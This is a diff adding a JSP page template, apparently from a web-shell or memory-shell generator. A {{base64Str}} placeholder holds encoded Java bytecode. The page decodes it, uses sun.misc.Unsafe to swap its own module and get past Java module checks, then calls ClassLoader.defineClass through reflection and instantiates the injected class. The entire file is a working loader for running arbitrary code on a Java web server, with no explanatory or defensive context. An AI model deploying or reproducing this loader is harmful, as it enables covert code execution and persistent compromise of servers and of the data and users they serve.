1+ <%@ page import =" java.lang.reflect.Method" %>
2+ <%@ page import =" java.lang.reflect.Field" %>
3+ <%@ page import =" java.net.URLClassLoader" %>
4+ <%@ page import =" java.net.URL" %><%
5+ String base64Str = " {{base64Str}}" ;
6+ byte [] bytecode = null ;
7+ ClassLoader classLoader = Thread . currentThread(). getContextClassLoader();
8+ try {
9+ Class base64Clz = classLoader. loadClass(" java.util.Base64" );
10+ Class decoderClz = classLoader. loadClass(" java.util.Base64$Decoder" );
11+ Object decoder = base64Clz. getMethod(" getDecoder" ). invoke(base64Clz);
12+ bytecode = (byte []) decoderClz. getMethod(" decode" , String . class). invoke(decoder, base64Str);
13+ } catch (ClassNotFoundException e) {
14+ Class datatypeConverterClz = classLoader. loadClass(" javax.xml.bind.DatatypeConverter" );
15+ bytecode = (byte []) datatypeConverterClz. getMethod(" parseBase64Binary" , String . class). invoke(datatypeConverterClz, base64Str);
16+ }
17+ Object unsafe = null ;
18+ Object rawModule = null ;
19+ long offset = 48 ;
20+ Method getAndSetObjectM = null ;
21+ try {
22+ Class<?> unsafeClass = Class . forName(" sun.misc.Unsafe" );
23+ Field unsafeField = unsafeClass. getDeclaredField(" theUnsafe" );
24+ unsafeField. setAccessible(true );
25+ unsafe = unsafeField. get(null );
26+ rawModule = Class . class. getMethod(" getModule" ). invoke(this . getClass(), (Object []) null );
27+ Object module = Class . class. getMethod(" getModule" ). invoke(Object . class, (Object []) null );
28+ Method objectFieldOffsetM = unsafe. getClass(). getMethod(" objectFieldOffset" , Field . class);
29+ offset = (Long ) objectFieldOffsetM. invoke(unsafe, Class . class. getDeclaredField(" module" ));
30+ getAndSetObjectM = unsafe. getClass(). getMethod(" getAndSetObject" , Object . class, long . class, Object . class);
31+ getAndSetObjectM. invoke(unsafe, this . getClass(), offset, module);
32+ } catch (Throwable ignored) {
33+ }
34+ URLClassLoader urlClassLoader = new URLClassLoader (new URL [0 ], Thread . currentThread(). getContextClassLoader());
35+ Method defMethod = ClassLoader . class. getDeclaredMethod(" defineClass" , byte []. class, Integer . TYPE , Integer . TYPE );
36+ defMethod. setAccessible(true );
37+ Class<?> clazz = (Class<?> ) defMethod. invoke(urlClassLoader, bytecode, 0 , bytecode. length);
38+ if (getAndSetObjectM != null ) {
39+ getAndSetObjectM. invoke(unsafe, this . getClass(), offset, rawModule);
40+ }
41+ clazz. newInstance();
42+ % >
0 commit comments